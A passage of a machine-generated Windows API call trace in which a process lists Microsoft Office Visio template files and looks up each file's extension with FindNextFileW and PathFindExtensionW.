Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCKS.DWG") returned=".DWG" [0265.697] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.697] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK_M.VSSX") returned=".VSSX" [0265.697] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.697] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK_M.VSTX") returned=".VSTX" [0265.697] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.697] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK_U.VSSX") returned=".VSSX" [0265.697] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.697] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK_U.VSTX") returned=".VSTX" [0265.697] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.697] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BORDRS_M.VSSX") returned=".VSSX" [0265.697] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BORDRS_U.VSSX") returned=".VSSX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_ADDRESS_CHANGE_PROCESS_M.VSTX") returned=".VSTX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_ADDRESS_CHANGE_PROCESS_U.VSTX") returned=".VSTX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_M.VSSX") returned=".VSSX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_M.VSTX") returned=".VSTX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_PROCESS_GATEWAY_M.VSTX") returned=".VSTX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_PROCESS_GATEWAY_U.VSTX") returned=".VSTX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_PROCESS_MULTIPLE_ROLES_M.VSTX") returned=".VSTX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_PROCESS_MULTIPLE_ROLES_U.VSTX") returned=".VSTX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_U.VSSX") returned=".VSSX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_U.VSTX") returned=".VSTX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPRES_M.VSSX") returned=".VSSX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPRES_U.VSSX") returned=".VSSX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BRAINSTM.XML") returned=".XML" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_EXPL_M.VSTX") returned=".VSTX" [0265.816] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_EXPL_U.VSTX") returned=".VSTX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_LGND_M.VSTX") returned=".VSTX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_LGND_U.VSTX") returned=".VSTX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_M.VSSX") returned=".VSSX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_M.VSTX") returned=".VSTX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_U.VSSX") returned=".VSSX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_U.VSTX") returned=".VSTX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BTHKT_M.VSSX") returned=".VSSX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BTHKT_U.VSSX") returned=".VSSX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BTHKT_VISIO2013_M.VSSX") returned=".VSSX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BTHKT_VISIO2013_U.VSSX") returned=".VSSX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BUILDINGS_M.VSSX") returned=".VSSX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BUILDINGS_U.VSSX") returned=".VSSX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BUSINESS_M.VSSX") returned=".VSSX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BUSINESS_U.VSSX") returned=".VSSX" [0265.817] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CABNT_M.VSSX") returned=".VSSX" [0265.829] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CABNT_U.VSSX") returned=".VSSX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CABNT_VISIO2013_M.VSSX") returned=".VSSX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CABNT_VISIO2013_U.VSSX") returned=".VSSX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALNDR_M.VSSX") returned=".VSSX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALNDR_M.VSTX") returned=".VSTX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALNDR_U.VSSX") returned=".VSSX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALNDR_U.VSTX") returned=".VSTX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALOUT_M.VSSX") returned=".VSSX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALOUT_U.VSSX") returned=".VSSX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CAUSEF_M.VSSX") returned=".VSSX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CAUSEF_M.VSTX") returned=".VSTX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CAUSEF_U.VSSX") returned=".VSSX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CAUSEF_U.VSTX") returned=".VSTX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CEILPL_M.VSTX") returned=".VSTX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CEILPL_U.VSTX") returned=".VSTX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CELEBRATION_M.VSSX") returned=".VSSX" [0265.830] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CELEBRATION_U.VSSX") returned=".VSSX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_DATAVISUALIZERPROCESSMAP.XLTX") returned=".XLTX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_DATAVISUALIZER_M.VSTX") returned=".VSTX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_DATAVISUALIZER_U.VSTX") returned=".VSTX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_HORIZONTAL_M.VSTX") returned=".VSTX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_HORIZONTAL_U.VSTX") returned=".VSTX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_SHAREDPROCESS_M.VSTX") returned=".VSTX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_SHAREDPROCESS_U.VSTX") returned=".VSTX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_VERTICAL_M.VSTX") returned=".VSTX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_VERTICAL_U.VSTX") returned=".VSTX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CHART_M.VSSX") returned=".VSSX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CHART_M.VSTX") returned=".VSTX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CHART_U.VSSX") returned=".VSSX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CHART_U.VSTX") returned=".VSTX" [0265.831] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.841] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CIRCULARORGCHART_M.VSTX") returned=".VSTX" [0265.841] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CIRCULARORGCHART_U.VSTX") returned=".VSTX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMMERCE_M.VSSX") returned=".VSSX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMMERCE_U.VSSX") returned=".VSSX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMMUNICATION_M.VSSX") returned=".VSSX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMMUNICATION_U.VSSX") returned=".VSSX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMOLE_M.VSSX") returned=".VSSX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMOLE_M.VSTX") returned=".VSTX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMOLE_U.VSSX") returned=".VSSX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMOLE_U.VSTX") returned=".VSTX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPLN_M.VSSX") returned=".VSSX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPLN_U.VSSX") returned=".VSSX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPME_M.VSSX") returned=".VSSX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPME_U.VSSX") returned=".VSSX" [0265.842] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPS_M.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPS_U.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CONLOG_M.VSTX") returned=".VSTX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CONLOG_U.VSTX") returned=".VSTX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CONNEC_M.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CONNEC_U.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CUBICL_M.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CUBICL_U.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CUBICL_VISIO2013_M.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CUBICL_VISIO2013_U.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CYCLEDIAG_M.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CYCLEDIAG_U.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATAVISUALIZERPREVIEW_M.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATAVISUALIZERPREVIEW_U.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATAVISUALIZER_M.VSSX") returned=".VSSX" [0265.843] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATAVISUALIZER_U.VSSX") returned=".VSSX" [0265.844] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATFLO_M.VSSX") returned=".VSSX" [0265.844] FindNextFileW (in: 